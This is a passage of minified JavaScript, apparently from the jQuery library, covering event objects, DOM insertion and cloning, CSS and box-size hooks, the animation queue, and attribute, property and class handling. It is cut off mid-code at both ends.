0===e.defaultPrevented&&!1===e.returnValue?Oe:Ye,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&M.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[M.expando]=!0},M.Event.prototype={constructor:M.Event,isDefaultPrevented:Ye,isPropagationStopped:Ye,isImmediatePropagationStopped:Ye,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=Oe,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=Oe,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=Oe,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},M.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,char:!0,code:!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:!0},M.event.addProp),M.each({focus:"focusin",blur:"focusout"},(function(e,t){function i(e){if(y.documentMode){var i=oe.get(this,"handle"),n=M.event.fix(e);n.type="focusin"===e.type?"focus":"blur",n.isSimulated=!0,i(e),n.target===n.currentTarget&&i(n)}else M.event.simulate(t,e.target,M.event.fix(e))}M.event.special[e]={setup:function(){var n;if(je(this,e,!0),!y.documentMode)return!1;(n=oe.get(this,t))||this.addEventListener(t,i),oe.set(this,t,(n||0)+1)},trigger:function(){return je(this,e),!0},teardown:function(){var e;if(!y.documentMode)return!1;(e=oe.get(this,t)-1)?oe.set(this,t,e):(this.removeEventListener(t,i),oe.remove(this,t))},_default:function(t){return oe.get(t.target,e)},delegateType:t},M.event.special[t]={setup:function(){var n=this.ownerDocument||this.document||this,r=y.documentMode?this:n,s=oe.get(r,t);s||(y.documentMode?this.addEventListener(t,i):n.addEventListener(e,i,!0)),oe.set(r,t,(s||0)+1)},teardown:function(){var n=this.ownerDocument||this.document||this,r=y.documentMode?this:n,s=oe.get(r,t)-1;s?oe.set(r,t,s):(y.documentMode?this.removeEventListener(t,i):n.removeEventListener(e,i,!0),oe.remove(r,t))}}})),M.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},(function(e,t){M.event.special[e]={delegateType:t,bindType:t,handle:function(e){var i,n=e.relatedTarget,r=e.handleObj;return n&&(n===this||M.contains(this,n))||(e.type=r.origType,i=r.handler.apply(this,arguments),e.type=t),i}}})),M.fn.extend({on:function(e,t,i,n){return $e(this,e,t,i,n)},one:function(e,t,i,n){return $e(this,e,t,i,n,1)},off:function(e,t,i){var n,r;if(e&&e.preventDefault&&e.handleObj)return n=e.handleObj,M(e.delegateTarget).off(n.namespace?n.origType+"."+n.namespace:n.origType,n.selector,n.handler),this;if("object"==typeof e){for(r in e)this.off(r,t,e[r]);return this}return!1!==t&&"function"!=typeof t||(i=t,t=void 0),!1===i&&(i=Ye),this.each((function(){M.event.remove(this,e,i,t)}))}});var Ne=/<script|<style|<link/i,Re=/checked\s*(?:[^=]|=\s*.checked.)/i,He=/^\s*<!\[CDATA\[|\]\]>\s*$/g;function Fe(e,t){return L(e,"table")&&L(11!==t.nodeType?t:t.firstChild,"tr")&&M(e).children("tbody")[0]||e}function Be(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function Ue(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function We(e,t){var i,n,r,s,a,o;if(1===t.nodeType){if(oe.hasData(e)&&(o=oe.get(e).events))for(r in oe.remove(t,"handle events"),o)for(i=0,n=o[r].length;i<n;i++)M.event.add(t,r,o[r][i]);le.hasData(e)&&(s=le.access(e),a=M.extend({},s),le.set(t,a))}}function ze(e,t){var i=t.nodeName.toLowerCase();"input"===i&&Me.test(e.type)?t.checked=e.checked:"input"!==i&&"textarea"!==i||(t.defaultValue=e.defaultValue)}function qe(e,t,i,n){t=l(t);var r,s,a,o,u,c,d=0,h=e.length,p=h-1,f=t[0],m=_(f);if(m||h>1&&"string"==typeof f&&!g.checkClone&&Re.test(f))return e.each((function(r){var s=e.eq(r);m&&(t[0]=f.call(this,r,s.html())),qe(s,t,i,n)}));if(h&&(s=(r=Ae(t,e[0].ownerDocument,!1,e,n)).firstChild,1===r.childNodes.length&&(r=s),s||n)){for(o=(a=M.map(De(r,"script"),Be)).length;d<h;d++)u=r,d!==p&&(u=M.clone(u,!0,!0),o&&M.merge(a,De(u,"script"))),i.call(e[d],u,d);if(o)for(c=a[a.length-1].ownerDocument,M.map(a,Ue),d=0;d<o;d++)u=a[d],Le.test(u.type||"")&&!oe.access(u,"globalEval")&&M.contains(c,u)&&(u.src&&"module"!==(u.type||"").toLowerCase()?M._evalUrl&&!u.noModule&&M._evalUrl(u.src,{nonce:u.nonce||u.getAttribute("nonce")},c):w(u.textContent.replace(He,""),u,c))}return e}function Ve(e,t,i){for(var n,r=t?M.filter(t,e):e,s=0;null!=(n=r[s]);s++)i||1!==n.nodeType||M.cleanData(De(n)),n.parentNode&&(i&&ge(n)&&Ee(De(n,"script")),n.parentNode.removeChild(n));return e}M.extend({htmlPrefilter:function(e){return e},clone:function(e,t,i){var n,r,s,a,o=e.cloneNode(!0),l=ge(e);if(!(g.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||M.isXMLDoc(e)))for(a=De(o),n=0,r=(s=De(e)).length;n<r;n++)ze(s[n],a[n]);if(t)if(i)for(s=s||De(e),a=a||De(o),n=0,r=s.length;n<r;n++)We(s[n],a[n]);else We(e,o);return(a=De(o,"script")).length>0&&Ee(a,!l&&De(e,"script")),o},cleanData:function(e){for(var t,i,n,r=M.event.special,s=0;void 0!==(i=e[s]);s++)if(se(i)){if(t=i[oe.expando]){if(t.events)for(n in t.events)r[n]?M.event.remove(i,n):M.removeEvent(i,n,t.handle);i[oe.expando]=void 0}i[le.expando]&&(i[le.expando]=void 0)}}}),M.fn.extend({detach:function(e){return Ve(this,e,!0)},remove:function(e){return Ve(this,e)},text:function(e){return ee(this,(function(e){return void 0===e?M.text(this):this.empty().each((function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)}))}),null,e,arguments.length)},append:function(){return qe(this,arguments,(function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||Fe(this,e).appendChild(e)}))},prepend:function(){return qe(this,arguments,(function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Fe(this,e);t.insertBefore(e,t.firstChild)}}))},before:function(){return qe(this,arguments,(function(e){this.parentNode&&this.parentNode.insertBefore(e,this)}))},after:function(){return qe(this,arguments,(function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)}))},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(M.cleanData(De(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map((function(){return M.clone(this,e,t)}))},html:function(e){return ee(this,(function(e){var t=this[0]||{},i=0,n=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!Ne.test(e)&&!Ce[(xe.exec(e)||["",""])[1].toLowerCase()]){e=M.htmlPrefilter(e);try{for(;i<n;i++)1===(t=this[i]||{}).nodeType&&(M.cleanData(De(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)}),null,e,arguments.length)},replaceWith:function(){var e=[];return qe(this,arguments,(function(t){var i=this.parentNode;M.inArray(this,e)<0&&(M.cleanData(De(this)),i&&i.replaceChild(t,this))}),e)}}),M.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},(function(e,t){M.fn[e]=function(e){for(var i,n=[],r=M(e),s=r.length-1,a=0;a<=s;a++)i=a===s?this:this.clone(!0),M(r[a])[t](i),u.apply(n,i.get());return this.pushStack(n)}}));var Je=new RegExp("^("+he+")(?!px)[a-z%]+$","i"),Ge=/^--/,Ke=function(e){var t=e.ownerDocument.defaultView;return t&&t.opener||(t=n),t.getComputedStyle(e)},Xe=function(e,t,i){var n,r,s={};for(r in t)s[r]=e.style[r],e.style[r]=t[r];for(r in n=i.call(e),t)e.style[r]=s[r];return n},Ze=new RegExp(fe.join("|"),"i");function Qe(e,t,i){var n,r,s,a,o=Ge.test(t),l=e.style;return(i=i||Ke(e))&&(a=i.getPropertyValue(t)||i[t],o&&a&&(a=a.replace(A,"$1")||void 0),""!==a||ge(e)||(a=M.style(e,t)),!g.pixelBoxStyles()&&Je.test(a)&&Ze.test(t)&&(n=l.width,r=l.minWidth,s=l.maxWidth,l.minWidth=l.maxWidth=l.width=a,a=i.width,l.width=n,l.minWidth=r,l.maxWidth=s)),void 0!==a?a+"":a}function et(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}!function(){function e(){if(c){u.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0",c.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%",me.appendChild(u).appendChild(c);var e=n.getComputedStyle(c);i="1%"!==e.top,l=12===t(e.marginLeft),c.style.right="60%",a=36===t(e.right),r=36===t(e.width),c.style.position="absolute",s=12===t(c.offsetWidth/3),me.removeChild(u),c=null}}function t(e){return Math.round(parseFloat(e))}var i,r,s,a,o,l,u=y.createElement("div"),c=y.createElement("div");c.style&&(c.style.backgroundClip="content-box",c.cloneNode(!0).style.backgroundClip="",g.clearCloneStyle="content-box"===c.style.backgroundClip,M.extend(g,{boxSizingReliable:function(){return e(),r},pixelBoxStyles:function(){return e(),a},pixelPosition:function(){return e(),i},reliableMarginLeft:function(){return e(),l},scrollboxSize:function(){return e(),s},reliableTrDimensions:function(){var e,t,i,r;return null==o&&(e=y.createElement("table"),t=y.createElement("tr"),i=y.createElement("div"),e.style.cssText="position:absolute;left:-11111px;border-collapse:separate",t.style.cssText="box-sizing:content-box;border:1px solid",t.style.height="1px",i.style.height="9px",i.style.display="block",me.appendChild(e).appendChild(t).appendChild(i),r=n.getComputedStyle(t),o=parseInt(r.height,10)+parseInt(r.borderTopWidth,10)+parseInt(r.borderBottomWidth,10)===t.offsetHeight,me.removeChild(e)),o}}))}();var tt=["Webkit","Moz","ms"],it=y.createElement("div").style,nt={};function rt(e){return M.cssProps[e]||nt[e]||(e in it?e:nt[e]=function(e){for(var t=e[0].toUpperCase()+e.slice(1),i=tt.length;i--;)if((e=tt[i]+t)in it)return e}(e)||e)}var st=/^(none|table(?!-c[ea]).+)/,at={position:"absolute",visibility:"hidden",display:"block"},ot={letterSpacing:"0",fontWeight:"400"};function lt(e,t,i){var n=pe.exec(t);return n?Math.max(0,n[2]-(i||0))+(n[3]||"px"):t}function ut(e,t,i,n,r,s){var a="width"===t?1:0,o=0,l=0,u=0;if(i===(n?"border":"content"))return 0;for(;a<4;a+=2)"margin"===i&&(u+=M.css(e,i+fe[a],!0,r)),n?("content"===i&&(l-=M.css(e,"padding"+fe[a],!0,r)),"margin"!==i&&(l-=M.css(e,"border"+fe[a]+"Width",!0,r))):(l+=M.css(e,"padding"+fe[a],!0,r),"padding"!==i?l+=M.css(e,"border"+fe[a]+"Width",!0,r):o+=M.css(e,"border"+fe[a]+"Width",!0,r));return!n&&s>=0&&(l+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-s-l-o-.5))||0),l+u}function ct(e,t,i){var n=Ke(e),r=(!g.boxSizingReliable()||i)&&"border-box"===M.css(e,"boxSizing",!1,n),s=r,a=Qe(e,t,n),o="offset"+t[0].toUpperCase()+t.slice(1);if(Je.test(a)){if(!i)return a;a="auto"}return(!g.boxSizingReliable()&&r||!g.reliableTrDimensions()&&L(e,"tr")||"auto"===a||!parseFloat(a)&&"inline"===M.css(e,"display",!1,n))&&e.getClientRects().length&&(r="border-box"===M.css(e,"boxSizing",!1,n),(s=o in e)&&(a=e[o])),(a=parseFloat(a)||0)+ut(e,t,i||(r?"border":"content"),s,n,a)+"px"}function dt(e,t,i,n,r){return new dt.prototype.init(e,t,i,n,r)}M.extend({cssHooks:{opacity:{get:function(e,t){if(t){var i=Qe(e,"opacity");return""===i?"1":i}}}},cssNumber:{animationIterationCount:!0,aspectRatio:!0,borderImageSlice:!0,columnCount:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,gridArea:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnStart:!0,gridRow:!0,gridRowEnd:!0,gridRowStart:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,scale:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeMiterlimit:!0,strokeOpacity:!0},cssProps:{},style:function(e,t,i,n){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var r,s,a,o=re(t),l=Ge.test(t),u=e.style;if(l||(t=rt(o)),a=M.cssHooks[t]||M.cssHooks[o],void 0===i)return a&&"get"in a&&void 0!==(r=a.get(e,!1,n))?r:u[t];"string"==(s=typeof i)&&(r=pe.exec(i))&&r[1]&&(i=ye(e,t,r),s="number"),null!=i&&i==i&&("number"!==s||l||(i+=r&&r[3]||(M.cssNumber[o]?"":"px")),g.clearCloneStyle||""!==i||0!==t.indexOf("background")||(u[t]="inherit"),a&&"set"in a&&void 0===(i=a.set(e,i,n))||(l?u.setProperty(t,i):u[t]=i))}},css:function(e,t,i,n){var r,s,a,o=re(t);return Ge.test(t)||(t=rt(o)),(a=M.cssHooks[t]||M.cssHooks[o])&&"get"in a&&(r=a.get(e,!0,i)),void 0===r&&(r=Qe(e,t,n)),"normal"===r&&t in ot&&(r=ot[t]),""===i||i?(s=parseFloat(r),!0===i||isFinite(s)?s||0:r):r}}),M.each(["height","width"],(function(e,t){M.cssHooks[t]={get:function(e,i,n){if(i)return!st.test(M.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?ct(e,t,n):Xe(e,at,(function(){return ct(e,t,n)}))},set:function(e,i,n){var r,s=Ke(e),a=!g.scrollboxSize()&&"absolute"===s.position,o=(a||n)&&"border-box"===M.css(e,"boxSizing",!1,s),l=n?ut(e,t,n,o,s):0;return o&&a&&(l-=Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-parseFloat(s[t])-ut(e,t,"border",!1,s)-.5)),l&&(r=pe.exec(i))&&"px"!==(r[3]||"px")&&(e.style[t]=i,i=M.css(e,t)),lt(0,i,l)}}})),M.cssHooks.marginLeft=et(g.reliableMarginLeft,(function(e,t){if(t)return(parseFloat(Qe(e,"marginLeft"))||e.getBoundingClientRect().left-Xe(e,{marginLeft:0},(function(){return e.getBoundingClientRect().left})))+"px"})),M.each({margin:"",padding:"",border:"Width"},(function(e,t){M.cssHooks[e+t]={expand:function(i){for(var n=0,r={},s="string"==typeof i?i.split(" "):[i];n<4;n++)r[e+fe[n]+t]=s[n]||s[n-2]||s[0];return r}},"margin"!==e&&(M.cssHooks[e+t].set=lt)})),M.fn.extend({css:function(e,t){return ee(this,(function(e,t,i){var n,r,s={},a=0;if(Array.isArray(t)){for(n=Ke(e),r=t.length;a<r;a++)s[t[a]]=M.css(e,t[a],!1,n);return s}return void 0!==i?M.style(e,t,i):M.css(e,t)}),e,t,arguments.length>1)}}),M.Tween=dt,dt.prototype={constructor:dt,init:function(e,t,i,n,r,s){this.elem=e,this.prop=i,this.easing=r||M.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=n,this.unit=s||(M.cssNumber[i]?"":"px")},cur:function(){var e=dt.propHooks[this.prop];return e&&e.get?e.get(this):dt.propHooks._default.get(this)},run:function(e){var t,i=dt.propHooks[this.prop];return this.options.duration?this.pos=t=M.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),i&&i.set?i.set(this):dt.propHooks._default.set(this),this}},dt.prototype.init.prototype=dt.prototype,dt.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=M.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){M.fx.step[e.prop]?M.fx.step[e.prop](e):1!==e.elem.nodeType||!M.cssHooks[e.prop]&&null==e.elem.style[rt(e.prop)]?e.elem[e.prop]=e.now:M.style(e.elem,e.prop,e.now+e.unit)}}},dt.propHooks.scrollTop=dt.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},M.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},M.fx=dt.prototype.init,M.fx.step={};var ht,pt,ft=/^(?:toggle|show|hide)$/,mt=/queueHooks$/;function gt(){pt&&(!1===y.hidden&&n.requestAnimationFrame?n.requestAnimationFrame(gt):n.setTimeout(gt,M.fx.interval),M.fx.tick())}function _t(){return n.setTimeout((function(){ht=void 0})),ht=Date.now()}function vt(e,t){var i,n=0,r={height:e};for(t=t?1:0;n<4;n+=2-t)r["margin"+(i=fe[n])]=r["padding"+i]=e;return t&&(r.opacity=r.width=e),r}function yt(e,t,i){for(var n,r=(bt.tweeners[t]||[]).concat(bt.tweeners["*"]),s=0,a=r.length;s<a;s++)if(n=r[s].call(i,t,e))return n}function bt(e,t,i){var n,r,s=0,a=bt.prefilters.length,o=M.Deferred().always((function(){delete l.elem})),l=function(){if(r)return!1;for(var t=ht||_t(),i=Math.max(0,u.startTime+u.duration-t),n=1-(i/u.duration||0),s=0,a=u.tweens.length;s<a;s++)u.tweens[s].run(n);return o.notifyWith(e,[u,n,i]),n<1&&a?i:(a||o.notifyWith(e,[u,1,0]),o.resolveWith(e,[u]),!1)},u=o.promise({elem:e,props:M.extend({},t),opts:M.extend(!0,{specialEasing:{},easing:M.easing._default},i),originalProperties:t,originalOptions:i,startTime:ht||_t(),duration:i.duration,tweens:[],createTween:function(t,i){var n=M.Tween(e,u.opts,t,i,u.opts.specialEasing[t]||u.opts.easing);return u.tweens.push(n),n},stop:function(t){var i=0,n=t?u.tweens.length:0;if(r)return this;for(r=!0;i<n;i++)u.tweens[i].run(1);return t?(o.notifyWith(e,[u,1,0]),o.resolveWith(e,[u,t])):o.rejectWith(e,[u,t]),this}}),c=u.props;for(function(e,t){var i,n,r,s,a;for(i in e)if(r=t[n=re(i)],s=e[i],Array.isArray(s)&&(r=s[1],s=e[i]=s[0]),i!==n&&(e[n]=s,delete e[i]),(a=M.cssHooks[n])&&"expand"in a)for(i in s=a.expand(s),delete e[n],s)i in e||(e[i]=s[i],t[i]=r);else t[n]=r}(c,u.opts.specialEasing);s<a;s++)if(n=bt.prefilters[s].call(u,e,c,u.opts))return _(n.stop)&&(M._queueHooks(u.elem,u.opts.queue).stop=n.stop.bind(n)),n;return M.map(c,yt,u),_(u.opts.start)&&u.opts.start.call(e,u),u.progress(u.opts.progress).done(u.opts.done,u.opts.complete).fail(u.opts.fail).always(u.opts.always),M.fx.timer(M.extend(l,{elem:e,anim:u,queue:u.opts.queue})),u}M.Animation=M.extend(bt,{tweeners:{"*":[function(e,t){var i=this.createTween(e,t);return ye(i.elem,e,pe.exec(t),i),i}]},tweener:function(e,t){_(e)?(t=e,e=["*"]):e=e.match(V);for(var i,n=0,r=e.length;n<r;n++)i=e[n],bt.tweeners[i]=bt.tweeners[i]||[],bt.tweeners[i].unshift(t)},prefilters:[function(e,t,i){var n,r,s,a,o,l,u,c,d="width"in t||"height"in t,h=this,p={},f=e.style,m=e.nodeType&&ve(e),g=oe.get(e,"fxshow");for(n in i.queue||(null==(a=M._queueHooks(e,"fx")).unqueued&&(a.unqueued=0,o=a.empty.fire,a.empty.fire=function(){a.unqueued||o()}),a.unqueued++,h.always((function(){h.always((function(){a.unqueued--,M.queue(e,"fx").length||a.empty.fire()}))}))),t)if(r=t[n],ft.test(r)){if(delete t[n],s=s||"toggle"===r,r===(m?"hide":"show")){if("show"!==r||!g||void 0===g[n])continue;m=!0}p[n]=g&&g[n]||M.style(e,n)}if((l=!M.isEmptyObject(t))||!M.isEmptyObject(p))for(n in d&&1===e.nodeType&&(i.overflow=[f.overflow,f.overflowX,f.overflowY],null==(u=g&&g.display)&&(u=oe.get(e,"display")),"none"===(c=M.css(e,"display"))&&(u?c=u:(Te([e],!0),u=e.style.display||u,c=M.css(e,"display"),Te([e]))),("inline"===c||"inline-block"===c&&null!=u)&&"none"===M.css(e,"float")&&(l||(h.done((function(){f.display=u})),null==u&&(c=f.display,u="none"===c?"":c)),f.display="inline-block")),i.overflow&&(f.overflow="hidden",h.always((function(){f.overflow=i.overflow[0],f.overflowX=i.overflow[1],f.overflowY=i.overflow[2]}))),l=!1,p)l||(g?"hidden"in g&&(m=g.hidden):g=oe.access(e,"fxshow",{display:u}),s&&(g.hidden=!m),m&&Te([e],!0),h.done((function(){for(n in m||Te([e]),oe.remove(e,"fxshow"),p)M.style(e,n,p[n])}))),l=yt(m?g[n]:0,n,h),n in g||(g[n]=l.start,m&&(l.end=l.start,l.start=0))}],prefilter:function(e,t){t?bt.prefilters.unshift(e):bt.prefilters.push(e)}}),M.speed=function(e,t,i){var n=e&&"object"==typeof e?M.extend({},e):{complete:i||!i&&t||_(e)&&e,duration:e,easing:i&&t||t&&!_(t)&&t};return M.fx.off?n.duration=0:"number"!=typeof n.duration&&(n.duration in M.fx.speeds?n.duration=M.fx.speeds[n.duration]:n.duration=M.fx.speeds._default),null!=n.queue&&!0!==n.queue||(n.queue="fx"),n.old=n.complete,n.complete=function(){_(n.old)&&n.old.call(this),n.queue&&M.dequeue(this,n.queue)},n},M.fn.extend({fadeTo:function(e,t,i,n){return this.filter(ve).css("opacity",0).show().end().animate({opacity:t},e,i,n)},animate:function(e,t,i,n){var r=M.isEmptyObject(e),s=M.speed(t,i,n),a=function(){var t=bt(this,M.extend({},e),s);(r||oe.get(this,"finish"))&&t.stop(!0)};return a.finish=a,r||!1===s.queue?this.each(a):this.queue(s.queue,a)},stop:function(e,t,i){var n=function(e){var t=e.stop;delete e.stop,t(i)};return"string"!=typeof e&&(i=t,t=e,e=void 0),t&&this.queue(e||"fx",[]),this.each((function(){var t=!0,r=null!=e&&e+"queueHooks",s=M.timers,a=oe.get(this);if(r)a[r]&&a[r].stop&&n(a[r]);else for(r in a)a[r]&&a[r].stop&&mt.test(r)&&n(a[r]);for(r=s.length;r--;)s[r].elem!==this||null!=e&&s[r].queue!==e||(s[r].anim.stop(i),t=!1,s.splice(r,1));!t&&i||M.dequeue(this,e)}))},finish:function(e){return!1!==e&&(e=e||"fx"),this.each((function(){var t,i=oe.get(this),n=i[e+"queue"],r=i[e+"queueHooks"],s=M.timers,a=n?n.length:0;for(i.finish=!0,M.queue(this,e,[]),r&&r.stop&&r.stop.call(this,!0),t=s.length;t--;)s[t].elem===this&&s[t].queue===e&&(s[t].anim.stop(!0),s.splice(t,1));for(t=0;t<a;t++)n[t]&&n[t].finish&&n[t].finish.call(this);delete i.finish}))}}),M.each(["toggle","show","hide"],(function(e,t){var i=M.fn[t];M.fn[t]=function(e,n,r){return null==e||"boolean"==typeof e?i.apply(this,arguments):this.animate(vt(t,!0),e,n,r)}})),M.each({slideDown:vt("show"),slideUp:vt("hide"),slideToggle:vt("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},(function(e,t){M.fn[e]=function(e,i,n){return this.animate(t,e,i,n)}})),M.timers=[],M.fx.tick=function(){var e,t=0,i=M.timers;for(ht=Date.now();t<i.length;t++)(e=i[t])()||i[t]!==e||i.splice(t--,1);i.length||M.fx.stop(),ht=void 0},M.fx.timer=function(e){M.timers.push(e),M.fx.start()},M.fx.interval=13,M.fx.start=function(){pt||(pt=!0,gt())},M.fx.stop=function(){pt=null},M.fx.speeds={slow:600,fast:200,_default:400},M.fn.delay=function(e,t){return e=M.fx&&M.fx.speeds[e]||e,t=t||"fx",this.queue(t,(function(t,i){var r=n.setTimeout(t,e);i.stop=function(){n.clearTimeout(r)}}))},function(){var e=y.createElement("input"),t=y.createElement("select").appendChild(y.createElement("option"));e.type="checkbox",g.checkOn=""!==e.value,g.optSelected=t.selected,(e=y.createElement("input")).value="t",e.type="radio",g.radioValue="t"===e.value}();var wt,Tt=M.expr.attrHandle;M.fn.extend({attr:function(e,t){return ee(this,M.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each((function(){M.removeAttr(this,e)}))}}),M.extend({attr:function(e,t,i){var n,r,s=e.nodeType;if(3!==s&&8!==s&&2!==s)return void 0===e.getAttribute?M.prop(e,t,i):(1===s&&M.isXMLDoc(e)||(r=M.attrHooks[t.toLowerCase()]||(M.expr.match.bool.test(t)?wt:void 0)),void 0!==i?null===i?void M.removeAttr(e,t):r&&"set"in r&&void 0!==(n=r.set(e,i,t))?n:(e.setAttribute(t,i+""),i):r&&"get"in r&&null!==(n=r.get(e,t))?n:null==(n=M.find.attr(e,t))?void 0:n)},attrHooks:{type:{set:function(e,t){if(!g.radioValue&&"radio"===t&&L(e,"input")){var i=e.value;return e.setAttribute("type",t),i&&(e.value=i),t}}}},removeAttr:function(e,t){var i,n=0,r=t&&t.match(V);if(r&&1===e.nodeType)for(;i=r[n++];)e.removeAttribute(i)}}),wt={set:function(e,t,i){return!1===t?M.removeAttr(e,i):e.setAttribute(i,i),i}},M.each(M.expr.match.bool.source.match(/\w+/g),(function(e,t){var i=Tt[t]||M.find.attr;Tt[t]=function(e,t,n){var r,s,a=t.toLowerCase();return n||(s=Tt[a],Tt[a]=r,r=null!=i(e,t,n)?a:null,Tt[a]=s),r}}));var kt=/^(?:input|select|textarea|button)$/i,St=/^(?:a|area)$/i;function Mt(e){return(e.match(V)||[]).join(" ")}function xt(e){return e.getAttribute&&e.getAttribute("class")||""}function Lt(e){return Array.isArray(e)?e:"string"==typeof e&&e.match(V)||[]}M.fn.extend({prop:function(e,t){return ee(this,M.prop,e,t,arguments.length>1)},removeProp:function(e){return this.each((function(){delete this[M.propFix[e]||e]}))}}),M.extend({prop:function(e,t,i){var n,r,s=e.nodeType;if(3!==s&&8!==s&&2!==s)return 1===s&&M.isXMLDoc(e)||(t=M.propFix[t]||t,r=M.propHooks[t]),void 0!==i?r&&"set"in r&&void 0!==(n=r.set(e,i,t))?n:e[t]=i:r&&"get"in r&&null!==(n=r.get(e,t))?n:e[t]},propHooks:{tabIndex:{get:function(e){var t=M.find.attr(e,"tabindex");return t?parseInt(t,10):kt.test(e.nodeName)||St.test(e.nodeName)&&e.href?0:-1}}},propFix:{for:"htmlFor",class:"className"}}),g.optSelected||(M.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),M.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],(function(){M.propFix[this.toLowerCase()]=this})),M.fn.extend({addClass:function(e){var t,i,n,r,s,a;return _(e)?this.each((function(t){M(this).addClass(e.call(this,t,xt(this)))})):(t=Lt(e)).length?this.each((function(){if(n=xt(this),i=1===this.nodeType&&" "+Mt(n)+" "){for(s=0;s<t.length;s++)r=t[s],i.indexOf(" "+r+" ")<0&&(i+=r+" ");a=Mt(i),n!==a&&this.setAttribute("class",a)}})):this},removeClass:function(e){var t,i,n,r,s,a;return _(e)?this.each((function(t){M(this).removeClass(e.call(this,t,xt(this)))})):arguments.length?(t=Lt(e)).length?this.each((function(){if(n=xt(this),i=1===this.nodeType&&" "+Mt(n)+" "){for(s=0;s<t.length;s++)for(r=t[s];i.indexOf(" "+r+" ")>-1;)i=i.replace(" "+r+" "," ");a=Mt(i),n!==a&&this.setAttribute("class",a)}})):this:this.attr("class","")},toggleClass:function(e,t){var i,n,r,s,a=typeof e,o="string"===a||Array.isArray(e);return _(e)?this.each((function(i){M(this).toggleClass(e.call(this,i,xt(this),t),t)})):"boolean"==typeof t&&o?t?this.addClass(e):this.removeClass(e):(i=Lt(e),this.each((function(){if(o)for(s=M(this),r=0;r<i.length;r++)n=i[r],s.hasClass(n)?s.removeClass(n):s.addClass(n);else void 0!==e&&"boolean"!==a||((n=xt(this))&&oe.set(this,"__className__",n),this.setAttribute&&this.setAttribute("class",n||!1===e?"":oe.get(this,"__className__")||""))})))},hasClass:function(e){var t,i,n=0;for(t=" "+e+" ";i=this[n++];)if(1===i.nodeType&&(" "+Mt(xt(i))+" ").indexOf(t)>-1)return!0;return!1}});var Ct=/\r/g;M.fn.extend({val:function(e){var t,i,n,r=this[0];return arguments.length?(n=_(e),this.each((function(i){var r;1===this.nodeType&&(null==(r=n?e.call(this,i,M(this).val()):e)?r="":"number"==typeof r?r+="":Array.isArray(r)&&(r=M.map(r,(function(e){return null==e?"":e+""}))),(t=M.valHooks[this.type]||M.valHooks[this.nodeName.toLowerCase()])&&"set"in t&&void 0!==t.set(this,r,"value")||(this.value=r))}))):r?(t=M.valHooks[r.type]||M.valHooks[r.nodeName.toLowerCase()])&&"get"in t&&void 0!==(i=t.get(r,"value"))?i:"string"==typeof(i=r.value)?i.replace(Ct,""):null==i?"":i:void 0}}),M.extend({valHooks:{option:{get:function(e){var t=M.find.attr(e,"value");return null!=t?t:Mt(M.text(e))}},select:{get:function(e){var 